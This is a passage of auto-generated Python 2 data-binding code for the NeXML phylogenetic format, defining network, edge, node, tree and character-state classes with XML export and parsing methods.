staticmethod(factory) def get_node(self): return self.node def set_node(self, node): self.node = node def add_node(self, value): self.node.append(value) def insert_node(self, index, value): self.node[index] = value def get_edge(self): return self.edge def set_edge(self, edge): self.edge = edge def add_edge(self, value): self.edge.append(value) def insert_edge(self, index, value): self.edge[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='FloatNetwork', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='FloatNetwork') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='FloatNetwork'): super(FloatNetwork, self).exportAttributes(outfile, level, already_processed, namespace_, name_='FloatNetwork') def exportChildren(self, outfile, level, namespace_='', name_='FloatNetwork', fromsubclass_=False): for node_ in self.node: node_.export(outfile, level, namespace_, name_='node') for edge_ in self.edge: edge_.export(outfile, level, namespace_, name_='edge') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.node or self.edge or self.set or super(FloatNetwork, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='FloatNetwork'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(FloatNetwork, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(FloatNetwork, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('node=[\n') level += 1 for node_ in self.node: showIndent(outfile, level) outfile.write('model_.NetworkNode(\n') node_.exportLiteral(outfile, level, name_='NetworkNode') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('edge=[\n') level += 1 for edge_ in self.edge: showIndent(outfile, level) outfile.write('model_.NetworkFloatEdge(\n') edge_.exportLiteral(outfile, level, name_='NetworkFloatEdge') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.NodeAndRootEdgeAndEdgeSet(\n') set_.exportLiteral(outfile, level, name_='NodeAndRootEdgeAndEdgeSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(FloatNetwork, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'node': obj_ = NetworkNode.factory() obj_.build(child_) self.node.append(obj_) elif nodeName_ == 'edge': obj_ = NetworkFloatEdge.factory() obj_.build(child_) self.edge.append(obj_) elif nodeName_ == 'set': obj_ = NodeAndRootEdgeAndEdgeSet.factory() obj_.build(child_) self.set.append(obj_) # end class FloatNetwork class NetworkIntEdge(AbstractEdge): """A concrete network edge implementation, with int edge.""" subclass = None superclass = AbstractEdge def __init__(self, about=None, meta=None, label=None, id=None, source=None, length=None, target=None, valueOf_=None): super(NetworkIntEdge, self).__init__(about, meta, label, id, source, length, target, ) self.length = _cast(int, length) if meta is None: self.meta = [] else: self.meta = meta def factory(*args_, **kwargs_): if NetworkIntEdge.subclass: return NetworkIntEdge.subclass(*args_, **kwargs_) else: return NetworkIntEdge(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_length(self): return self.length def set_length(self, length): self.length = length def export(self, outfile, level, namespace_='', name_='NetworkIntEdge', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='NetworkIntEdge') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='NetworkIntEdge'): super(NetworkIntEdge, self).exportAttributes(outfile, level, already_processed, namespace_, name_='NetworkIntEdge') if self.length is not None and 'length' not in already_processed: already_processed.append('length') outfile.write(' length="%s"' % self.gds_format_integer(self.length, input_name='length')) def exportChildren(self, outfile, level, namespace_='', name_='NetworkIntEdge', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') def hasContent_(self): if ( self.meta or super(NetworkIntEdge, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='NetworkIntEdge'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.length is not None and 'length' not in already_processed: already_processed.append('length') showIndent(outfile, level) outfile.write('length = %d,\n' % (self.length,)) super(NetworkIntEdge, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(NetworkIntEdge, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('length', node) if value is not None and 'length' not in already_processed: already_processed.append('length') try: self.length = int(value) except ValueError, exp: raise_parse_error(node, 'Bad integer attribute: %s' % exp) super(NetworkIntEdge, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) # end class NetworkIntEdge class NetworkFloatEdge(AbstractEdge): """A concrete network edge implementation, with float edge.""" subclass = None superclass = AbstractEdge def __init__(self, about=None, meta=None, label=None, id=None, source=None, length=None, target=None, valueOf_=None): super(NetworkFloatEdge, self).__init__(about, meta, label, id, source, length, target, ) self.length = _cast(float, length) if meta is None: self.meta = [] else: self.meta = meta def factory(*args_, **kwargs_): if NetworkFloatEdge.subclass: return NetworkFloatEdge.subclass(*args_, **kwargs_) else: return NetworkFloatEdge(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_length(self): return self.length def set_length(self, length): self.length = length def export(self, outfile, level, namespace_='', name_='NetworkFloatEdge', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='NetworkFloatEdge') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='NetworkFloatEdge'): super(NetworkFloatEdge, self).exportAttributes(outfile, level, already_processed, namespace_, name_='NetworkFloatEdge') if self.length is not None and 'length' not in already_processed: already_processed.append('length') outfile.write(' length="%s"' % self.gds_format_double(self.length, input_name='length')) def exportChildren(self, outfile, level, namespace_='', name_='NetworkFloatEdge', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') def hasContent_(self): if ( self.meta or super(NetworkFloatEdge, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='NetworkFloatEdge'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.length is not None and 'length' not in already_processed: already_processed.append('length') showIndent(outfile, level) outfile.write('length = %e,\n' % (self.length,)) super(NetworkFloatEdge, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(NetworkFloatEdge, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('length', node) if value is not None and 'length' not in already_processed: already_processed.append('length') try: self.length = float(value) except ValueError, exp: raise ValueError('Bad float/double attribute (length): %s' % exp) super(NetworkFloatEdge, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) # end class NetworkFloatEdge class AbstractNode(OptionalTaxonLinked): """The AbstractNode superclass is what concrete nodes inherit from by restriction. It represents a node element much like that of GraphML, i.e. an element that is connected into a tree by edge elements.""" subclass = None superclass = OptionalTaxonLinked def __init__(self, about=None, meta=None, label=None, id=None, otu=None, root=False, valueOf_=None): super(AbstractNode, self).__init__(about, meta, label, id, otu, ) self.root = _cast(bool, root) pass def factory(*args_, **kwargs_): if AbstractNode.subclass: return AbstractNode.subclass(*args_, **kwargs_) else: return AbstractNode(*args_, **kwargs_) factory = staticmethod(factory) def get_root(self): return self.root def set_root(self, root): self.root = root def export(self, outfile, level, namespace_='', name_='AbstractNode', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractNode') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="AbstractNode"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='AbstractNode'): super(AbstractNode, self).exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractNode') if self.root is not None and 'root' not in already_processed: already_processed.append('root') outfile.write(' root="%s"' % self.gds_format_boolean(self.gds_str_lower(str(self.root)), input_name='root')) def exportChildren(self, outfile, level, namespace_='', name_='AbstractNode', fromsubclass_=False): super(AbstractNode, self).exportChildren(outfile, level, namespace_, name_, True) def hasContent_(self): if ( super(AbstractNode, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='AbstractNode'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.root is not None and 'root' not in already_processed: already_processed.append('root') showIndent(outfile, level) outfile.write('root = %s,\n' % (self.root,)) super(AbstractNode, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(AbstractNode, self).exportLiteralChildren(outfile, level, name_) def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('root', node) if value is not None and 'root' not in already_processed: already_processed.append('root') if value in ('true', '1'): self.root = True elif value in ('false', '0'): self.root = False else: raise_parse_error(node, 'Bad boolean attribute') super(AbstractNode, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): super(AbstractNode, self).buildChildren(child_, node, nodeName_, True) pass # end class AbstractNode class TreeNode(AbstractNode): """A concrete node implementation.""" subclass = None superclass = AbstractNode def __init__(self, about=None, meta=None, label=None, id=None, otu=None, root=False, valueOf_=None): super(TreeNode, self).__init__(about, meta, label, id, otu, root, ) if meta is None: self.meta = [] else: self.meta = meta def factory(*args_, **kwargs_): if TreeNode.subclass: return TreeNode.subclass(*args_, **kwargs_) else: return TreeNode(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def export(self, outfile, level, namespace_='', name_='TreeNode', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='TreeNode') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='TreeNode'): super(TreeNode, self).exportAttributes(outfile, level, already_processed, namespace_, name_='TreeNode') def exportChildren(self, outfile, level, namespace_='', name_='TreeNode', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') def hasContent_(self): if ( self.meta or super(TreeNode, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='TreeNode'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(TreeNode, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(TreeNode, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(TreeNode, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) # end class TreeNode class Trees(TaxaLinked): """A concrete container for tree objects.""" subclass = None superclass = TaxaLinked def __init__(self, about=None, meta=None, label=None, id=None, otus=None, network=None, tree=None, set=None, valueOf_=None): super(Trees, self).__init__(about, meta, label, id, otus, ) if network is None: self.network = [] else: self.network = network if tree is None: self.tree = [] else: self.tree = tree if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if Trees.subclass: return Trees.subclass(*args_, **kwargs_) else: return Trees(*args_, **kwargs_) factory = staticmethod(factory) def get_network(self): return self.network def set_network(self, network): self.network = network def add_network(self, value): self.network.append(value) def insert_network(self, index, value): self.network[index] = value def get_tree(self): return self.tree def set_tree(self, tree): self.tree = tree def add_tree(self, value): self.tree.append(value) def insert_tree(self, index, value): self.tree[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='Trees', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='Trees') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="Trees"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='Trees'): super(Trees, self).exportAttributes(outfile, level, already_processed, namespace_, name_='Trees') def exportChildren(self, outfile, level, namespace_='', name_='Trees', fromsubclass_=False): super(Trees, self).exportChildren(outfile, level, namespace_, name_, True) for network_ in self.get_network(): network_.export(outfile, level, namespace_, name_='network') for tree_ in self.get_tree(): tree_.export(outfile, level, namespace_, name_='tree') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.network or self.tree or self.set or super(Trees, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='Trees'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(Trees, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(Trees, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('network=[\n') level += 1 for network_ in self.network: showIndent(outfile, level) outfile.write('model_.AbstractNetwork(\n') network_.exportLiteral(outfile, level, name_='AbstractNetwork') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('tree=[\n') level += 1 for tree_ in self.tree: showIndent(outfile, level) outfile.write('model_.AbstractTree(\n') tree_.exportLiteral(outfile, level, name_='AbstractTree') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.TreeAndNetworkSet(\n') set_.exportLiteral(outfile, level, name_='TreeAndNetworkSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(Trees, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'network': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <network> element') self.network.append(obj_) elif nodeName_ == 'tree': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <tree> element') self.tree.append(obj_) elif nodeName_ == 'set': obj_ = TreeAndNetworkSet.factory() obj_.build(child_) self.set.append(obj_) super(Trees, self).buildChildren(child_, node, nodeName_, True) # end class Trees class StandardChar(AbstractChar): """A concrete implementation of the char element, which requires a states attribute to refer to a set of defined states""" subclass = None superclass = AbstractChar def __init__(self, about=None, meta=None, label=None, id=None, tokens=None, states=None, codon=None, valueOf_=None): super(StandardChar, self).__init__(about, meta, label, id, tokens, states, codon, ) self.tokens = _cast(None, tokens) self.states = _cast(None, states) self.codon = _cast(None, codon) self.id = _cast(None, id) if meta is None: self.meta = [] else: self.meta = meta def factory(*args_, **kwargs_): if StandardChar.subclass: return StandardChar.subclass(*args_, **kwargs_) else: return StandardChar(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_tokens(self): return self.tokens def set_tokens(self, tokens): self.tokens = tokens def validate_MSTokenLength(self, value): # Validate type MSTokenLength, a restriction on xs:positiveInteger. pass def get_states(self): return self.states def set_states(self, states): self.states = states def get_codon(self): return self.codon def set_codon(self, codon): self.codon = codon def validate_CodonPosition(self, value): # Validate type CodonPosition, a restriction on xs:nonNegativeInteger. pass def get_id(self): return self.id def set_id(self, id): self.id = id def export(self, outfile, level, namespace_='', name_='StandardChar', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='StandardChar') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='StandardChar'): super(StandardChar, self).exportAttributes(outfile, level, already_processed, namespace_, name_='StandardChar') if self.tokens is not None and 'tokens' not in already_processed: already_processed.append('tokens') outfile.write(' tokens=%s' % (quote_attrib(self.tokens), )) if self.states is not None and 'states' not in already_processed: already_processed.append('states') outfile.write(' states=%s' % (self.gds_format_string(quote_attrib(self.states).encode(ExternalEncoding), input_name='states'), )) if self.codon is not None and 'codon' not in already_processed: already_processed.append('codon') outfile.write(' codon=%s' % (quote_attrib(self.codon), )) if self.id is not None and 'id' not in already_processed: already_processed.append('id') outfile.write(' id=%s' % (self.gds_format_string(quote_attrib(self.id).encode(ExternalEncoding), input_name='id'), )) def exportChildren(self, outfile, level, namespace_='', name_='StandardChar', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') def hasContent_(self): if ( self.meta or super(StandardChar, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='StandardChar'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.tokens is not None and 'tokens' not in already_processed: already_processed.append('tokens') showIndent(outfile, level) outfile.write('tokens = %d,\n' % (self.tokens,)) if self.states is not None and 'states' not in already_processed: already_processed.append('states') showIndent(outfile, level) outfile.write('states = "%s",\n' % (self.states,)) if self.codon is not None and 'codon' not in already_processed: already_processed.append('codon') showIndent(outfile, level) outfile.write('codon = %d,\n' % (self.codon,)) if self.id is not None and 'id' not in already_processed: already_processed.append('id') showIndent(outfile, level) outfile.write('id = "%s",\n' % (self.id,)) super(StandardChar, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(StandardChar, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('tokens', node) if value is not None and 'tokens' not in already_processed: already_processed.append('tokens') try: self.tokens = int(value) except ValueError, exp: raise_parse_error(node, 'Bad integer attribute: %s' % exp) if self.tokens <= 0: raise_parse_error(node, 'Invalid PositiveInteger') self.validate_MSTokenLength(self.tokens) # validate type MSTokenLength value = find_attr_value_('states', node) if value is not None and 'states' not in already_processed: already_processed.append('states') self.states = value value = find_attr_value_('codon', node) if value is not None and 'codon' not in already_processed: already_processed.append('codon') try: self.codon = int(value) except ValueError, exp: raise_parse_error(node, 'Bad integer attribute: %s' % exp) if self.codon < 0: raise_parse_error(node, 'Invalid NonNegativeInteger') self.validate_CodonPosition(self.codon) # validate type CodonPosition value = find_attr_value_('id', node) if value is not None and 'id' not in already_processed: already_processed.append('id') self.id = value super(StandardChar, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) # end class StandardChar class StandardStates(AbstractStates): """A container for a set of states.""" subclass = None superclass = AbstractStates def __init__(self, about=None, meta=None, label=None, id=None, state=None, polymorphic_state_set=None, uncertain_state_set=None, set=None, valueOf_=None): super(StandardStates, self).__init__(about, meta, label, id, state, polymorphic_state_set, uncertain_state_set, set, ) if meta is None: self.meta = [] else: self.meta = meta if state is None: self.state = [] else: self.state = state if polymorphic_state_set is None: self.polymorphic_state_set = [] else: self.polymorphic_state_set = polymorphic_state_set if uncertain_state_set is None: self.uncertain_state_set = [] else: self.uncertain_state_set = uncertain_state_set if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if StandardStates.subclass: return StandardStates.subclass(*args_, **kwargs_) else: return StandardStates(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_state(self): return self.state def set_state(self, state): self.state = state def add_state(self, value): self.state.append(value) def insert_state(self, index, value): self.state[index] = value def get_polymorphic_state_set(self): return self.polymorphic_state_set def set_polymorphic_state_set(self, polymorphic_state_set): self.polymorphic_state_set = polymorphic_state_set def add_polymorphic_state_set(self, value): self.polymorphic_state_set.append(value) def insert_polymorphic_state_set(self, index, value): self.polymorphic_state_set[index] = value def get_uncertain_state_set(self): return self.uncertain_state_set def set_uncertain_state_set(self, uncertain_state_set): self.uncertain_state_set = uncertain_state_set def add_uncertain_state_set(self, value): self.uncertain_state_set.append(value) def insert_uncertain_state_set(self, index, value): self.uncertain_state_set[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='StandardStates', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='StandardStates') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='StandardStates'): super(StandardStates, self).exportAttributes(outfile, level, already_processed, namespace_, name_='StandardStates') def exportChildren(self, outfile, level, namespace_='', name_='StandardStates', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') for state_ in self.state: state_.export(outfile, level, namespace_, name_='state') for polymorphic_state_set_ in self.polymorphic_state_set: polymorphic_state_set_.export(outfile, level, namespace_, name_='polymorphic_state_set') for uncertain_state_set_ in self.uncertain_state_set: uncertain_state_set_.export(outfile, level, namespace_, name_='uncertain_state_set') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.meta or self.state or self.polymorphic_state_set or self.uncertain_state_set or self.set or super(StandardStates, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='StandardStates'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(StandardStates, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(StandardStates, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) 